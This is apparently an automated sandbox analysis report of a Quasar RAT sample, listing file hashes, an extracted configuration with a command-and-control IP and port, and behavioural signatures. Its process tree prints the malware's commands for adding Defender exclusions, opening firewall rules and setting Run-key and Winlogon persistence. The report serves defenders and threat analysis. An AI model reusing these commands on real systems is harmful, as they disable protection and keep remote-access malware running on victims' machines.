Analysis

  • max time kernel
    75s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    14/10/2023, 03:13

General

  • Target

    9ded64087b76f48dfa80c95ceffbf11ec7e442bdaed4cebdef40a3ed2593f86b.exe

  • Size

    1.4MB

  • MD5

    3f67be83722c1b395fc4bcec2dd81866

  • SHA1

    d67e4a209f94b6a051d96a12d609f32e453416c4

  • SHA256

    9ded64087b76f48dfa80c95ceffbf11ec7e442bdaed4cebdef40a3ed2593f86b

  • SHA512

    7517fe15e10e67a21b59869443b2154c39d334c63f3750ca20daa05d815d31c231143a16caf30923a205e858ffde195bea44164e4feb8aa01c5e837d8a8621a8

  • SSDEEP

    24576:U2G/nvxW3Ww0tRp8GiXTBhq7yRDvHcUcjUvy0lr3Tl6icOB/UWoT:UbA30H4zF0UMSAicOB/UWk

Malware Config

Extracted

Family

quasar

Version

1.3.0.0

Botnet

-

C2

94.131.105.161:12344

Mutex

QSR_MUTEX_UEgITWnMKnRP3EZFzK

Attributes
  • encryption_key

    5Q0JQBQQfAUHRJTcAIOF

  • install_name

    lient.exe

  • log_directory

    Lugs

  • reconnect_delay

    3000

  • startup_key

    itartup

  • subdirectory

    SubDir

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 2 IoCs
  • Modifies Windows Firewall 1 TTPs 2 IoCs
  • ACProtect 1.3x - 1.4x DLL software 2 IoCs

    Detects file using ACProtect software.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 10 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Unexpected DNS network traffic destination 3 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs ping.exe 1 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\9ded64087b76f48dfa80c95ceffbf11ec7e442bdaed4cebdef40a3ed2593f86b.exe
    "C:\Users\Admin\AppData\Local\Temp\9ded64087b76f48dfa80c95ceffbf11ec7e442bdaed4cebdef40a3ed2593f86b.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2816
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\ratt.bat" "
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2776
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c nslookup myip.opendns.com. resolver1.opendns.com
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1724
        • C:\Windows\SysWOW64\nslookup.exe
          nslookup myip.opendns.com. resolver1.opendns.com
          4⤵
            PID:3016
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c wmic ComputerSystem get Domain
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2668
          • C:\Windows\SysWOW64\Wbem\WMIC.exe
            wmic ComputerSystem get Domain
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2544
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\ratt.exe"'
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2524
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\"'
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2488
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          Powershell -Command 'Add-MpPreference -ExclusionPath "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe"'
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2840
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          Powershell -Command 'Add-MpPreference -ExclusionPath "$Env:SystemDrive\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"'
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1324
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          Powershell -Command 'Add-MpPreference -ExclusionProcess "C:\Users\Admin\AppData\Local\Temp\ratt.exe"'
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1944
        • C:\Users\Admin\AppData\Local\Temp\7z.exe
          7z.exe x -o"C:\Users\Admin\AppData\Local\Temp" -y ratt.7z
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:664
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -executionpolicy RemoteSigned -WindowStyle Hidden -file Add.ps1
          3⤵
          • Loads dropped DLL
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2284
          • C:\Windows\SysWOW64\netsh.exe
            "C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=in action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" enable=yes
            4⤵
            • Modifies Windows Firewall
            PID:1072
          • C:\Windows\SysWOW64\netsh.exe
            "C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=out action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" enable=yes
            4⤵
            • Modifies Windows Firewall
            PID:1108
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1848
            • C:\Windows\SysWOW64\Wbem\WMIC.exe
              wmic computersystem where name="KGPMNUDG" set AutomaticManagedPagefile=False
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2296
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe"
            4⤵
              PID:1256
              • C:\Windows\SysWOW64\Wbem\WMIC.exe
                wmic pagefileset where name="C:\\pagefile.sys" set InitialSize=15000,MaximumSize=20000
                5⤵
                  PID:436
              • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe
                "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"
                4⤵
                • Executes dropped EXE
                PID:1768
                • C:\Windows\SysWOW64\cmd.exe
                  "cmd" /c ping 127.0.0.1 -n 10 > nul && REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
                  5⤵
                    PID:3044
                    • C:\Windows\SysWOW64\PING.EXE
                      ping 127.0.0.1 -n 10
                      6⤵
                      • Runs ping.exe
                      PID:2980
                    • C:\Windows\SysWOW64\reg.exe
                      REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
                      6⤵
                        PID:1704
                    • C:\Windows\SysWOW64\cmd.exe
                      "cmd" /c ping 127.0.0.1 -n 10 > nul && copy "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" "C:\Users\Admin\Music\rot.exe" && ping 127.0.0.1 -n 10 > nul && "C:\Users\Admin\Music\rot.exe"
                      5⤵
                        PID:1760
                        • C:\Windows\SysWOW64\PING.EXE
                          ping 127.0.0.1 -n 10
                          6⤵
                          • Runs ping.exe
                          PID:1732
                    • C:\Windows\SysWOW64\attrib.exe
                      "C:\Windows\system32\attrib.exe" +h "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"
                      4⤵
                      • Views/modifies file attributes
                      PID:1392
                  • C:\Windows\SysWOW64\reg.exe
                    REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "ratt" /t REG_SZ /d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe" /F
                    3⤵
                    • Adds Run key to start application
                    PID:824
                  • C:\Users\Admin\AppData\Local\Temp\ratt.exe
                    "ratt.exe"
                    3⤵
                      PID:1132
                      • C:\Windows\SysWOW64\cmd.exe
                        "cmd" /c ping 127.0.0.1 -n 8 > nul && REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
                        4⤵
                          PID:1076
                          • C:\Windows\SysWOW64\PING.EXE
                            ping 127.0.0.1 -n 8
                            5⤵
                            • Runs ping.exe
                            PID:1636
                          • C:\Windows\SysWOW64\reg.exe
                            REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
                            5⤵
                              PID:1576
                          • C:\Windows\SysWOW64\cmd.exe
                            "cmd" /c ping 127.0.0.1 -n 11 > nul && copy "C:\Users\Admin\AppData\Local\Temp\ratt.exe" "C:\Users\Admin\Music\rot.exe" && ping 127.0.0.1 -n 11 > nul && "C:\Users\Admin\Music\rot.exe"
                            4⤵
                              PID:1532
                              • C:\Windows\SysWOW64\PING.EXE
                                ping 127.0.0.1 -n 11
                                5⤵
                                • Runs ping.exe
                                PID:2128
                              • C:\Windows\SysWOW64\PING.EXE
                                ping 127.0.0.1 -n 11
                                5⤵
                                • Runs ping.exe
                                PID:2600
                              • C:\Users\Admin\Music\rot.exe
                                "C:\Users\Admin\Music\rot.exe"
                                5⤵
                                  PID:2148
                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
                                    6⤵
                                      PID:3016

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe

                            Filesize

                            179.4MB

                            MD5

                            d240ece985ca9d277c2fc0e587d2780b

                            SHA1

                            2feb5b44c6d33dc8e1cac1e06400c9690430c664

                            SHA256

                            9832d7333aa995f868580765cca27e573209ee08cf72452a533e8d93ba3d7dcb

                            SHA512

                            fdd8b823f5331137582562f53a0ea0ce8c6190a7f7ff057336f144a3190c9a1b73249c9817626dd45766abbb2ef4d57a3773f39ddba402b56a76e13f900aa470

                          • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe

                            Filesize

                            179.4MB

                            MD5

                            d240ece985ca9d277c2fc0e587d2780b

                            SHA1

                            2feb5b44c6d33dc8e1cac1e06400c9690430c664

                            SHA256

                            9832d7333aa995f868580765cca27e573209ee08cf72452a533e8d93ba3d7dcb

                            SHA512

                            fdd8b823f5331137582562f53a0ea0ce8c6190a7f7ff057336f144a3190c9a1b73249c9817626dd45766abbb2ef4d57a3773f39ddba402b56a76e13f900aa470

                          • C:\Users\Admin\AppData\Local\Temp\7z.dll

                            Filesize

                            328KB

                            MD5

                            15bbbe562f9be3e5dcbb834e635cc231

                            SHA1

                            7c01cf5fa4db2312c5ed2f7b8c41e3e5c346a51a

                            SHA256

                            ed50ef8e0b6dd83fb0c3f733329d4aa6e5a3beb3491e2ba9d2ae206813508dde

                            SHA512

                            769287951b8c16f4b10c1b58e82612844babe7b5c10445fe848d713fb5e8321bcbbd9780e9c564cffe35ea4144e8a7e19645291c4eea372fcaa19ae395a97287

                          • C:\Users\Admin\AppData\Local\Temp\7z.exe

                            Filesize

                            71KB

                            MD5

                            8ba2e41b330ae9356e62eb63514cf82e

                            SHA1

                            8dc266467a5a0d587ed0181d4344581ef4ff30b2

                            SHA256

                            ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea

                            SHA512

                            2fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d

                          • C:\Users\Admin\AppData\Local\Temp\7z.exe

                            Filesize

                            71KB

                            MD5

                            8ba2e41b330ae9356e62eb63514cf82e

                            SHA1

                            8dc266467a5a0d587ed0181d4344581ef4ff30b2

                            SHA256

                            ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea

                            SHA512

                            2fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d

                          • C:\Users\Admin\AppData\Local\Temp\Add.ps1

                            Filesize

                            1KB

                            MD5

                            0df43097e0f0acd04d9e17fb43d618b9

                            SHA1

                            69b3ade12cb228393a93624e65f41604a17c83b6

                            SHA256

                            c8e4a63337a25f55f75ad10ab2b420d716bad4b35a2044fd39dcd5936419d873

                            SHA512

                            01ae71dd2ee040baad6f4b9afcfbaeca2b9f6cc7d60ade5de637238d65c17d74292734666f4ae6b533f6bf1007c46387d8e690d97c3b7a535bcd6f216e70c4fb

                          • C:\Users\Admin\AppData\Local\Temp\ratt.7z

                            Filesize

                            693KB

                            MD5

                            7de6fdf3629c73bf0c29a96fa23ae055

                            SHA1

                            dcb37f6d43977601c6460b17387a89b9e4c0609a

                            SHA256

                            069979bfb2aefe3cac239fe4f2477672eb75b90c9853fb67b2ac1438f2ec44ff

                            SHA512

                            d1ef2299aacf429572fd6df185009960e601e49126f080fdced26ec407e5db86eaa902e474635464aac146b7de286667a398f2c5e46c4a821dad2579bfb3acf8

                          • C:\Users\Admin\AppData\Local\Temp\ratt.bat

                            Filesize

                            1KB

                            MD5

                            7ea1fec84d76294d9256ae3dca7676b2

                            SHA1

                            1e335451d1cbb6951bc77bf75430f4d983491342

                            SHA256

                            9a419095c0bafc6b550f3f760c7b4f91ef3a956cfa6403d3750164ecdbe35940

                            SHA512

                            ab712c45081b3d1c7edd03e67a8db1518a546f3fbf00e99838dfe03a689c4867a6953e6603dcd2be458b2441f4a2b70286fd7d096549cfcf032dd2cd54d68317

                          • C:\Users\Admin\AppData\Local\Temp\ratt.bat

                            Filesize

                            1KB

                            MD5

                            7ea1fec84d76294d9256ae3dca7676b2

                            SHA1

                            1e335451d1cbb6951bc77bf75430f4d983491342

                            SHA256

                            9a419095c0bafc6b550f3f760c7b4f91ef3a956cfa6403d3750164ecdbe35940

                            SHA512

                            ab712c45081b3d1c7edd03e67a8db1518a546f3fbf00e99838dfe03a689c4867a6953e6603dcd2be458b2441f4a2b70286fd7d096549cfcf032dd2cd54d68317

                          • C:\Users\Admin\AppData\Local\Temp\ratt.exe

                            Filesize

                            249.1MB

                            MD5

                            33b40dbc06f912f288bcfa6aefc6a563

                            SHA1

                            465284ec7eb8b691c952cc107d1112d614343aca

                            SHA256

                            d7cb33dd088936e819ffd74077ec8598cac823eb29473bd7fb5d28e280307c8b

                            SHA512

                            686b02b4b02880f2e90b8025e81814bf6d04987830af15c64406171248c0dadfca1e43ef5dae3093c1575ba14cdda6942f4891c30583788dde2417f4874ccbfa

                          • C:\Users\Admin\AppData\Local\Temp\ratt.exe

                            Filesize

                            715.6MB

                            MD5

                            7a08c9ce87a0fe72dd705e42fd559cc2

                            SHA1

                            820f967d455f92c6ae99788f3261bbc8c453985c

                            SHA256

                            abd8f701f866d8ada38f8dc487db703ac38e04e08b6c116f0cf3a761d7fde988

                            SHA512

                            928705c96fca8c7f8fd331648208116ed159972a9788fc901ade437f8c01d94f7cdf273cda683ecf27875f8f37041d1175c4af769b752ca881302b402a9f7413

                          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YIQDSS7EHYL8QSCVO1HM.temp

                            Filesize

                            7KB

                            MD5

                            681a3f290f5a2be78b4ce8790a93be1b

                            SHA1

                            a387c9fc8489b37fa302c813d7951caa55781633

                            SHA256

                            6ae8dde7fab8fced3f42c16ec05c196c960674675aa1c18090850bca14a63fe5

                            SHA512

                            deb86e2bda837ef528054989a0f3a24b3dad251f65f61e37b86653c3038d7e2652b08ec0cd9a750814f9591f90aa19a21a4dde387939dc59ced597bcc8a4121a

                          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

                            Filesize

                            7KB

                            MD5

                            681a3f290f5a2be78b4ce8790a93be1b

                            SHA1

                            a387c9fc8489b37fa302c813d7951caa55781633

                            SHA256

                            6ae8dde7fab8fced3f42c16ec05c196c960674675aa1c18090850bca14a63fe5

                            SHA512

                            deb86e2bda837ef528054989a0f3a24b3dad251f65f61e37b86653c3038d7e2652b08ec0cd9a750814f9591f90aa19a21a4dde387939dc59ced597bcc8a4121a

                          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

                            Filesize

                            7KB

                            MD5

                            681a3f290f5a2be78b4ce8790a93be1b

                            SHA1

                            a387c9fc8489b37fa302c813d7951caa55781633

                            SHA256

                            6ae8dde7fab8fced3f42c16ec05c196c960674675aa1c18090850bca14a63fe5

                            SHA512

                            deb86e2bda837ef528054989a0f3a24b3dad251f65f61e37b86653c3038d7e2652b08ec0cd9a750814f9591f90aa19a21a4dde387939dc59ced597bcc8a4121a

                          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

                            Filesize

                            7KB

                            MD5

                            681a3f290f5a2be78b4ce8790a93be1b

                            SHA1

                            a387c9fc8489b37fa302c813d7951caa55781633

                            SHA256

                            6ae8dde7fab8fced3f42c16ec05c196c960674675aa1c18090850bca14a63fe5

                            SHA512

                            deb86e2bda837ef528054989a0f3a24b3dad251f65f61e37b86653c3038d7e2652b08ec0cd9a750814f9591f90aa19a21a4dde387939dc59ced597bcc8a4121a

                          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

                            Filesize

                            7KB

                            MD5

                            681a3f290f5a2be78b4ce8790a93be1b

                            SHA1

                            a387c9fc8489b37fa302c813d7951caa55781633

                            SHA256

                            6ae8dde7fab8fced3f42c16ec05c196c960674675aa1c18090850bca14a63fe5

                            SHA512

                            deb86e2bda837ef528054989a0f3a24b3dad251f65f61e37b86653c3038d7e2652b08ec0cd9a750814f9591f90aa19a21a4dde387939dc59ced597bcc8a4121a

                          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

                            Filesize

                            7KB

                            MD5

                            681a3f290f5a2be78b4ce8790a93be1b

                            SHA1

                            a387c9fc8489b37fa302c813d7951caa55781633

                            SHA256

                            6ae8dde7fab8fced3f42c16ec05c196c960674675aa1c18090850bca14a63fe5

                            SHA512

                            deb86e2bda837ef528054989a0f3a24b3dad251f65f61e37b86653c3038d7e2652b08ec0cd9a750814f9591f90aa19a21a4dde387939dc59ced597bcc8a4121a

                          • C:\Users\Admin\Music\rot.exe

                            Filesize

                            61.6MB

                            MD5

                            3f4f24a6db76929818d0fae031571972

                            SHA1

                            94f8b6670d95f56a1a71f3e5690525c34ef6ec9b

                            SHA256

                            e3ea986e97eee408cbc4b9cb660990dd92a0bcedcc3b5f748501f2434b721461

                            SHA512

                            8aab0cd9d8b0c2ee4d68f3f62371f51a571007b7927842dece46dc5969e7047b241437f538973b15decf12e8f80c17c1075ba4e1e24c5388bf58c44609c80d89

                          • C:\Users\Admin\Music\rot.exe

                            Filesize

                            61.6MB

                            MD5

                            aba8aaaf5f6f4c25552f0dae8da2cff6

                            SHA1

                            bf4ffa8cb1b8ab81db604545006e7426f4f7165e

                            SHA256

                            9854bc19c18fe8a2d80e3ac4bac333fb136a45042b26251649ab5443954a41d4

                            SHA512

                            83d5fbd037c0f1f09281340033143c9aa4753ef2f3a90e27b2e8399c61c45acb5722033a24f1aab4202d3f4bc9b7c4b9f59f40ad5ee5c29cbadfb2e9672e7cae

                          • C:\Users\Admin\Music\rot.exe

                            Filesize

                            61.6MB

                            MD5

                            944c930c3fe4fd651b12cfb6b503799a

                            SHA1

                            4ba18d4b90147e089c0d5327bcfe61686bc64218

                            SHA256

                            d229943e034ee83719ea0078a6f117a63b9775aa0c8e98d5e3990191632041dd

                            SHA512

                            e6f83023cb33bfcec21937b56b526c204ab685da8b471c9ad0f62b19686ab11f41a942a3ce150724bdf08c13ccaa27130309750b7cb05561a622a1544b4327c7

                          • \ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe

                            Filesize

                            175.8MB

                            MD5

                            8db31870c9d1b0ba484e31049b798feb

                            SHA1

                            4ad6df62678709ca1dc4837ea43d2b7761a07443

                            SHA256

                            1deae2e438e9d49d5f577dd10062d495d0f4eed66be51eed329e93c4a4798dd2

                            SHA512

                            9230e69a61c2d2b5d0db94872205401ba627b04d9617a203cd1730aad33bac8f96231ce510ccaf4e89660d425e554a2761c298bba42ee8ca13b14878c20f3e7f

                          • \Users\Admin\AppData\Local\Temp\7z.dll

                            Filesize

                            328KB

                            MD5

                            15bbbe562f9be3e5dcbb834e635cc231

                            SHA1

                            7c01cf5fa4db2312c5ed2f7b8c41e3e5c346a51a

                            SHA256

                            ed50ef8e0b6dd83fb0c3f733329d4aa6e5a3beb3491e2ba9d2ae206813508dde

                            SHA512

                            769287951b8c16f4b10c1b58e82612844babe7b5c10445fe848d713fb5e8321bcbbd9780e9c564cffe35ea4144e8a7e19645291c4eea372fcaa19ae395a97287

                          • \Users\Admin\AppData\Local\Temp\7z.exe

                            Filesize

                            71KB

                            MD5

                            8ba2e41b330ae9356e62eb63514cf82e

                            SHA1

                            8dc266467a5a0d587ed0181d4344581ef4ff30b2

                            SHA256

                            ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea

                            SHA512

                            2fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d

                          • \Users\Admin\AppData\Local\Temp\7z.exe

                            Filesize

                            71KB

                            MD5

                            8ba2e41b330ae9356e62eb63514cf82e

                            SHA1

                            8dc266467a5a0d587ed0181d4344581ef4ff30b2

                            SHA256

                            ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea

                            SHA512

                            2fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d

                          • \Users\Admin\AppData\Local\Temp\ratt.exe

                            Filesize

                            256.5MB

                            MD5

                            1bce27e39eb0517b8368489f7b9bdde5

                            SHA1

                            798369f46f7a4eac8d5df5f89fda0cadb744918c

                            SHA256

                            de934371903c3f8d084e5476194089d6b2804526d4f0e2a11463fcdf2a524178

                            SHA512

                            29a2107d2b7507051b33b74b5aabc982691d6b85e5a2535d20c2db9c4ae130c4a4ef2e68f3a93e98c1b899ad5072036111cca9ef0e4fca10f17a5320de8c8e77

                          • \Users\Admin\Music\rot.exe

                            Filesize

                            61.6MB

                            MD5

                            3f4f24a6db76929818d0fae031571972

                            SHA1

                            94f8b6670d95f56a1a71f3e5690525c34ef6ec9b

                            SHA256

                            e3ea986e97eee408cbc4b9cb660990dd92a0bcedcc3b5f748501f2434b721461

                            SHA512

                            8aab0cd9d8b0c2ee4d68f3f62371f51a571007b7927842dece46dc5969e7047b241437f538973b15decf12e8f80c17c1075ba4e1e24c5388bf58c44609c80d89

                          • memory/664-78-0x0000000010000000-0x00000000100E2000-memory.dmp

                            Filesize

                            904KB

                          • memory/664-85-0x0000000000400000-0x0000000000432000-memory.dmp

                            Filesize

                            200KB

                          • memory/664-79-0x0000000000400000-0x0000000000432000-memory.dmp

                            Filesize

                            200KB

                          • memory/1132-111-0x0000000004D60000-0x0000000004DA0000-memory.dmp

                            Filesize

                            256KB

                          • memory/1132-115-0x0000000070930000-0x000000007101E000-memory.dmp

                            Filesize

                            6.9MB

                          • memory/1132-112-0x0000000000370000-0x00000000003B6000-memory.dmp

                            Filesize

                            280KB

                          • memory/1132-116-0x0000000070930000-0x000000007101E000-memory.dmp

                            Filesize

                            6.9MB

                          • memory/1132-110-0x0000000070930000-0x000000007101E000-memory.dmp

                            Filesize

                            6.9MB

                          • memory/1132-109-0x0000000001240000-0x00000000013F6000-memory.dmp

                            Filesize

                            1.7MB

                          • memory/1324-56-0x00000000742D0000-0x000000007487B000-memory.dmp

                            Filesize

                            5.7MB

                          • memory/1324-59-0x00000000742D0000-0x000000007487B000-memory.dmp

                            Filesize

                            5.7MB

                          • memory/1324-57-0x0000000002730000-0x0000000002770000-memory.dmp

                            Filesize

                            256KB

                          • memory/1324-58-0x00000000742D0000-0x000000007487B000-memory.dmp

                            Filesize

                            5.7MB

                          • memory/1768-113-0x00000000003E0000-0x0000000000426000-memory.dmp

                            Filesize

                            280KB

                          • memory/1768-117-0x0000000070930000-0x000000007101E000-memory.dmp

                            Filesize

                            6.9MB

                          • memory/1768-106-0x0000000000B40000-0x0000000000CF6000-memory.dmp

                            Filesize

                            1.7MB

                          • memory/1768-104-0x0000000070930000-0x000000007101E000-memory.dmp

                            Filesize

                            6.9MB

                          • memory/1768-114-0x0000000070930000-0x000000007101E000-memory.dmp

                            Filesize

                            6.9MB

                          • memory/1944-66-0x00000000742B0000-0x000000007485B000-memory.dmp

                            Filesize

                            5.7MB

                          • memory/1944-69-0x00000000742B0000-0x000000007485B000-memory.dmp

                            Filesize

                            5.7MB

                          • memory/1944-68-0x0000000002710000-0x0000000002750000-memory.dmp

                            Filesize

                            256KB

                          • memory/1944-65-0x00000000742B0000-0x000000007485B000-memory.dmp

                            Filesize

                            5.7MB

                          • memory/1944-67-0x0000000002710000-0x0000000002750000-memory.dmp

                            Filesize

                            256KB

                          • memory/2148-125-0x00000000003C0000-0x0000000000576000-memory.dmp

                            Filesize

                            1.7MB

                          • memory/2148-129-0x0000000074AF0000-0x00000000751DE000-memory.dmp

                            Filesize

                            6.9MB

                          • memory/2148-128-0x0000000000790000-0x0000000000796000-memory.dmp

                            Filesize

                            24KB

                          • memory/2148-127-0x0000000000930000-0x000000000094A000-memory.dmp

                            Filesize

                            104KB

                          • memory/2148-126-0x0000000074AF0000-0x00000000751DE000-memory.dmp

                            Filesize

                            6.9MB

                          • memory/2284-98-0x0000000002420000-0x0000000002460000-memory.dmp

                            Filesize

                            256KB

                          • memory/2284-99-0x0000000002420000-0x0000000002460000-memory.dmp

                            Filesize

                            256KB

                          • memory/2284-105-0x00000000742E0000-0x000000007488B000-memory.dmp

                            Filesize

                            5.7MB

                          • memory/2284-97-0x00000000742E0000-0x000000007488B000-memory.dmp

                            Filesize

                            5.7MB

                          • memory/2284-96-0x0000000002420000-0x0000000002460000-memory.dmp

                            Filesize

                            256KB

                          • memory/2284-95-0x00000000742E0000-0x000000007488B000-memory.dmp

                            Filesize

                            5.7MB

                          • memory/2488-36-0x00000000742C0000-0x000000007486B000-memory.dmp

                            Filesize

                            5.7MB

                          • memory/2488-40-0x00000000742C0000-0x000000007486B000-memory.dmp

                            Filesize

                            5.7MB

                          • memory/2488-39-0x0000000002490000-0x00000000024D0000-memory.dmp

                            Filesize

                            256KB

                          • memory/2488-38-0x0000000002490000-0x00000000024D0000-memory.dmp

                            Filesize

                            256KB

                          • memory/2488-37-0x00000000742C0000-0x000000007486B000-memory.dmp

                            Filesize

                            5.7MB

                          • memory/2524-29-0x00000000029D0000-0x0000000002A10000-memory.dmp

                            Filesize

                            256KB

                          • memory/2524-30-0x0000000074580000-0x0000000074B2B000-memory.dmp

                            Filesize

                            5.7MB

                          • memory/2524-28-0x00000000029D0000-0x0000000002A10000-memory.dmp

                            Filesize

                            256KB

                          • memory/2524-27-0x0000000074580000-0x0000000074B2B000-memory.dmp

                            Filesize

                            5.7MB

                          • memory/2524-26-0x0000000074580000-0x0000000074B2B000-memory.dmp

                            Filesize

                            5.7MB

                          • memory/2776-82-0x0000000000170000-0x00000000001A2000-memory.dmp

                            Filesize

                            200KB

                          • memory/2776-72-0x0000000000170000-0x00000000001A2000-memory.dmp

                            Filesize

                            200KB

                          • memory/2776-74-0x0000000000170000-0x00000000001A2000-memory.dmp

                            Filesize

                            200KB

                          • memory/2776-81-0x0000000000170000-0x00000000001A2000-memory.dmp

                            Filesize

                            200KB

                          • memory/2840-49-0x00000000742B0000-0x000000007485B000-memory.dmp

                            Filesize

                            5.7MB

                          • memory/2840-46-0x00000000742B0000-0x000000007485B000-memory.dmp

                            Filesize

                            5.7MB

                          • memory/2840-48-0x0000000002740000-0x0000000002780000-memory.dmp

                            Filesize

                            256KB

                          • memory/2840-47-0x00000000742B0000-0x000000007485B000-memory.dmp

                            Filesize

                            5.7MB

                          • memory/3016-130-0x0000000000400000-0x000000000045E000-memory.dmp

                            Filesize

                            376KB

                          • memory/3016-132-0x0000000000400000-0x000000000045E000-memory.dmp

                            Filesize

                            376KB

                          • memory/3016-134-0x0000000000400000-0x000000000045E000-memory.dmp

                            Filesize

                            376KB

                          • memory/3016-136-0x0000000000400000-0x000000000045E000-memory.dmp

                            Filesize

                            376KB

